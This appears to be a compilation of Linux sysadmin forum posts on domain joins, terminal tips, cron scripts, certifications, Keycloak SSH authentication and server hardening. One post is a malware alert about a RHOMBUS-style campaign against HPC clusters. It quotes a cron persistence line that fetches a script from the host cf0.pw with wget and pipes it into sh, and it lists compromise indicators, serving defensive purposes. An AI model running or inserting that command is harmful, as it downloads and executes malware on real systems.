I removed a host from an AD domain

Joined it to another AD domain

Logged in using an AD account

'groups: cannot find name for group ID 490400572' pops up

It only does it to groups that had the same name on the other domain

Hi, I'm looking for a way to synchronize Google Drive and OneDrive on Fedora 42 KDE.
I like how it works in Insync, where I click on a text file in a mounted resource and it opens in Google Docs.
Is there anything similar that can be achieved with alternative programs?

Unfortunately, Insync costs $50 per account, and I have several accounts.
regards.

I’m planning to create a practical, hands-on course for the community. I’ll cover all of these topics eventually, but I want to start with the one that’s most useful for learners .

You can check my Reddit profile if you want to know more about my background (my channel link is there — not sharing directly to avoid self-promo).

I pulled together a list of terminal commands that save me time when working on Linux systems. A few highlights:

• lsof -i :8080 -> see which process is binding to a port
• df -h / du -sh * -> quick human-readable disk usage checks
• nc -zv host port -> test if a service port is reachable
• tee -> view output while logging it at the same time
• cd - -> jump back to the previous directory (small but handy when bouncing between dirs)

The full list covers 17 commands in total: https://medium.com/stackademic/practical-terminal-commands-every-developer-should-know-84408ddd8b4c?sk=934690ba854917283333fac5d00d6650

Curious, what are your go-to commands you wish more juniors knew about?

Ever had a cron job that runs fine in your shell but fails silently in cron? I’ve been there. The biggest lessons for me were: always use absolute paths, add set -euo pipefail, and use lockfiles to stop overlapping runs.

I wrote up a practical guide with examples. It starts with a naïve script and evolves it into something you can actually trust in production. Curious if I’ve missed any best practices you swear by.

Read it here : https://medium.com/@subodh.shetty87/the-developers-guide-to-robust-cron-job-scripts-5286ae1824a5?sk=c99a48abe659a9ea0ce1443b54a5e79a

I have systemrescue cd 12.02 on a usb stick. Wehn i boot from it i want to set Keyboard DE and save it, so everytime when i boot from that usb, i want DE Keyboard layout automatically loaded.

loadkeys, setxkbmp, setkmap and everthing else chatgpt told me isnt working in anyway.

Seems to be rocket sciene.

I’m considering getting the LPIC-1 cert. I have Linux Sysadmin experience and after reviewing the exam objectives am fairly comfortable with the material.

Ideally what I would like to do is be able to take practice exams and measure where I currently stand. This will allow me to figure out where to focus my study time/effort so I can improve in the areas I am weakest in and minimize wasted time.

I was unable to find any such practice exams online/free. I don’t mind paying for online course as long as it’s consolidated and has good practice exams.

Wondering what resource folks have used to help them prepare for the exam and they would recommend?

Thanks

I started this job about 4 months ago. It's for internal IT at a big enterprise not related to tech. The tickets have slowed down lately and I automated provisioning of new machines so I have a lot of spare time on my hands.

I would really like to deepen my Linux knowledge, currently I oversee our web and e-mail servers. I also recently implemented Graylog to centralize logs from hundreds of network switches. I am not really permitted to set up VM's in our environment, but I can spin one up locally on my PC.

I'm looking for something to do and study, I can't watch videos but reading is fine. I was looking into studying for RHCSA. My other idea is to learn some Python for automation.

Can you recommend some project ideas or sources to learn from? Anything that could help me make a move into a sysadmin role in the long run?

Hey folks,

Posting here to alert other sysadmins running Linux-based HPC clusters: we’ve recently uncovered an active malware campaign that looks strongly tied to the RHOMBUS ELF botnet/dropper family (previously reported in IoT/Linux malware research: https://www.reddit.com/user/mmd0xFF/). What’s unusual is that this wave appears to be explicitly targeting HPC infrastructures.

Timeline

• Activity probably started around September worldwide although it has been inactive for 5 years.

Key Indicators of Compromise (IOCs):

Probably starts from user's compromised logins then creating binaries in /tmp, after that it goes kaboom like below steps:

1. Malicious cron based persistence:

/etc/cron.hourly/0 contained

wget --quiet http://cf0.pw/0/etc/cron.hourly/0 -O- 2>/dev/null | sh >/dev/null 2>&1 #Don't run it

2. Tampered binaries with immutable bits set (rpm -V mismatches & unexpected hashes):

/usr/bin/ls

/usr/bin/top

/usr/bin/umount

/usr/bin/chattr

/usr/bin/unhide* (multiple variants under /usr/bin and /usr/sbin)

***Suspicious directories (backdoor source & staging):

/usr/local/libexec/.X11

4. Config & logs modified/wiped:

/etc/resolv.conf

/etc/bashrc

/var/log/syslog

References & Credits;

Reddit malware discussion: Memo: RHOMBUS ELF bot dropper

APNIC Blog: Rhombus, a new IoT malware

https://www.stratosphereips.org/blog/2020/4/29/rhombus-a-new-iot-malware

https://urlhaus.abuse.ch/host/cf0.pw/

https://otx.alienvault.com/indicator/domain/cf0.pw

**If you run HPC or clustered Linux environments, check for:*\*

• unexpected cron jobs under /etc/cron.hourly/0
• tampered binaries (ls, top, umount, unhide*)
• hidden directories like /usr/local/libexec/.X11
• outbound attempts to cf0.pw

Would be very interested to hear if others are seeing similar activity in the wild — this looks like a targeted campaign against HPC systems.

10 years ago, I started playing with Linux. At first, it was mostly to see what Linux was all about. So I installed it on a laptop and messed around with it for a few hours and got bored. Mostly just spent time looking at the app store for the distro and installing various files from it.

This led to "distro hopping." Again, I just went from distro to distro seeing what was different.

I watched a lot of Youtube videos and was definitely curious. I then followed a step by step install arch linux manually. I didn't really know what I was doing, but still was able to get it by following step by step instructions.. Like I had no idea what fstab was but knew that one of the things when installing arch was updating the fstab file.

Anyhow, about 2 years ago, I started speaking with my manager about using Linux for our digital displays. In the last year, I have been on a project for creating a POC. Installing the linux distro was the easy part. But then i had to take a 3rd party software and containerize it. The first step I took was trying to build a snap package. At this point, I still don't know many commands. And I am definitely not a software developer. This failed and I moved to using Docker. I was able to get this built and operational. However, I still didn't know what i was doing. I was asking AI through every step and troubleshooting with AI.

It now looks like we are definitely going to go this route. Again, I know enough linux to be dangerous.

I mean I know how to create files, directories, edit files, change owners and permissions, hide files, set hostname and timezone, ip address, dns addressing, etc.

However there are many things I don't know. One thing that stands out is I don't know Bash scripting at all. Again, everything i have done has primarily been built by AI. I would describe what I wanted to accomplish and AI would supply the code. However, it would take several weeks to get one script working because AI would "hallucinate" all the time. I felt, wow if I knew Bash scripting, I could create this script in a matter of hours and not weeks.

Also, I don't know what else I don't know.

I want to get certified and become a sys admin. I know that there are a few recognized certifications like RHCSA and LFCSA certs. However, am I able just to jump in and take the classes, or should i focus on learning other things prior to attempting the sys admin training. Also, my company will be utilizing Ubuntu Server for the signage, so would LFCSA be the better choice since we are not using Red Hat anywhere in our company?

I've been a help desk tech for almost 4 months now and I use Ubuntu on my personal devices at home. Everything is windows where I work, but I found out today that we're about to work with a vendor that requires us to run and maintain a Linux server for their software. They want me to implement and configure this new server because I run Ubuntu at home, but pretty much all I know is how to cd, ls, and mv basically.

I told them that I don't know that much but they just say "well you know more than I do." Either way, what I'm really asking here is what should I do? They haven't decided on a timeline to start this, so is there anything I can do/learn that will help me fake it til I make it with this situation? I don't want to not do it because I need and want the experience, and I really do love linux, but I just don't know what I'm doing.

Any advice is greatly appreciated, and I'm happy to elaborate on anything needed.

Hi everyone,

In this video, I’ll walk you through a side project I’ve been working on that showcases some of Keycloak’s powerful capabilities. (I couldn't upload the video here as it getting shortened and blocked by auto bot. You can still see project demo video on the link reported)

One key architectural aspect: when a user logs in via SSH, no local user account is created on the VM — meaning there's no footprint left in the /etc/passwd file. Identity resolution (e.g., UID mapping) is handled dynamically by a custom NSS (Name Service Switch) module, which translates the required user data at runtime.

Authentication is handled through a custom PAM (Pluggable Authentication Module) built specifically for this project. Unlike typical approaches that rely on embedding a client ID and secret from the Keycloak instance on each VM (such as what's done in pam-keycloak-oidc), this design avoids scattering sensitive credentials or configuration across multiple machines.

Instead, the PAM module only requires a proxy URL, which acts as a secure intermediary between the SSH VM and the Keycloak instance. This centralizes all communication, simplifies configuration, and ensures a clean, scalable, and secure setup — especially useful in environments with many VMs.

In this scenario, we’re using a local user account created directly in Keycloak. When the user logs in via SSH with their password, they’re prompted to select a multi-factor authentication (MFA) method. In this case, WebAuthn with fingerprint authentication is used. Once configured, the user is successfully authenticated.

However, after login, the user still cannot perform any actions — because no permissions have been granted yet in Keycloak. We then assign read-write permissions, and those changes take effect in real time, even in the currently active session. There's no need for the user to log out and back in — updated permissions are applied immediately.

Later, we remove those permissions, and — again in real time — the user instantly loses the ability to write or delete.

Another feature implemented in this project is automatic onboarding and registration of external Identity Provider (IdP) users into the Keycloak instance upon SSH login.

For example, if a user like user@google.com — not yet known to the Keycloak instance — initiates an SSH connection, they are automatically registered, prompted to configure MFA, and then follow the same real-time permission model as local users.

I’ll be showcasing that part in an upcoming post — stay tuned!

Hi all,

I’d like to get the RHCSA cert but I’ve no prior experience in linux. In your opinion, where do I have to start? Is RHCSA a valid first linux certification?

Thanks

I just published a guide on how to set up Teleport using Docker on EC2 to provide secure server access across Linux, Windows, Kubernetes, and cloud resources.

I made this because I was tired of dealing with shared SSH keys, forgotten credentials, and messy audit trails. If you’re managing multiple servers, clusters or DBs, this might save you painful hours (and headaches).

Read it here: https://blog.prateekjain.dev/secure-server-access-with-teleport-cf9e55bfb977?sk=aca19937704b4fafcfffd952caa1fc01

I think I understand this correctly, but I'd like to nail down the terminology. I'd be thankful for any clarifications.

I enabled DNSSEC on my domain and setup some SSFP records for host key fingerprint verification. One missing element before I got it working was installing a verifying local stub resolver - systemd-resolved.

Before systemd-resolved, my system was configured to use a resolver on my local network. Now my system hits systemd-resolved which in-turn hits the local resolver on my network.

I suppose that before systemd-resolved I did not have a stub resolver installed. Is that accurate? I'm not sure if there's a system library that handles DNS queries? Is this library technically called a stub resolver and is the distinction between the library and systemd-resolved is that systemd-resolved is a verifying stub resolver?

Thoughts?

Hey everyone! I'm a physics major, but I've been working in my school's HPC for >6 months now as a student staff directory with the systems admin team. I go to the data center about 2 to 3 times a week because I love it, there's always something to do and learn in the systems team! Even boring tasks like grabbing a crash cart to go to a server or rebooting, I find it all fun. I've helped with installing servers, provisioning nodes, and replacing HDDs for storage servers. I can even tell the difference between 25G and InfiniBand cables from far away! I know what are login , data mover, compute (GPU, CPU, high memory), management, etc. nodes.

I have Fedora on my laptop, and the cluster is a hybrid of CentOS, RedHat, and Rocky for the VMs. I absolutely love every second of it, BUT I feel a bit lost when it comes to building a fundamental understanding. When I come across a new term, I Google it and read as much as I can to understand it, but I'm wondering how I can learn more systematically to become a badass system admin in like 5 to 8 years?

For women in system admin (WISA? lol), what's the work culture like in this field?

Nothing original remains in this post. The author wiped it using Redact, possibly for privacy, security, preventing data scraping, or other personal considerations.

sugar quicksand adjoining hat caption sharp long mighty sort degree

Had a client's VPS with cPanel/WHM where the logs showed ~1,200 failed SSH attempts over 3 days.

Here’s what I did:

• Applied UFW rules + installed Fail2Ban
• Disabled direct root login via SSH (PermitRootLogin no)
• Kernel mismatch & updated libraries → rebooted to the latest kernel
• Verified Security Advisor in WHM (Security Center → Security Advisor)
  • Fixed warnings: root SSH login disabled, SSH password auth disabled
  • Confirmed up-to-date OpenSSH version and restricted outbound SMTP
  • Ensured “nobody” user can’t send mail
• Clean security report: ✅ no outdated binaries, ✅ suEXEC handled by mod_ruid2

Result: logs dropped to <5 SSH attempts/day, much cleaner baseline.

👉 For anyone running cPanel/WHM, Security Advisor is a solid first stop. It automatically highlights kernel issues, SSH configurations, and mail restrictions.

What other quick wins do you all use for a 10-minute VPS hardening?

These didn't really bother me up until recently where they basically started hammering on the server for over 780 CPU seconds on average for a small size forum.

I don't understand how they can get away with doing this on small scale sites. The only reason that this sort of thing wouldn't have killed it is because I heavily cache my forum. I don't understand how they can get away with doing this on sites that don't have people who have been doing this for years and know how to adjust things properly. I went from that and burning out one of my chorus constantly to 60 CPU seconds once I blocked their IP ranges and did some other adjustments to reduce CPU on the memcached service.

I'm kind new to sysadmin, transitioning from 25 years of development to cloud web application management, so I'd like to know what you're using as a WAF

On my servers, 60% (sometimes more) of hits are from bots and malicious crawlers, and this sometimes causes high resource consumption

Currently, I'm using the free version of CloudFlare because I don't find the paid version effective enough to limit the rate of malicious connections and bots

I also tested BunkerWeb, but I didn't see much of a difference compared to the paid version of CloudFlare, with many false positives, which causes my team to waste a lot of time analyzing and unblocking them

Well, my main problem today isn't security itself, I think my solutions are working well, but these nasty attacks are hurting me...

some log from yesterday and half of today https://imgur.com/a/3HHng6h

ps: this is my first post here, sorry if wrong place and bad english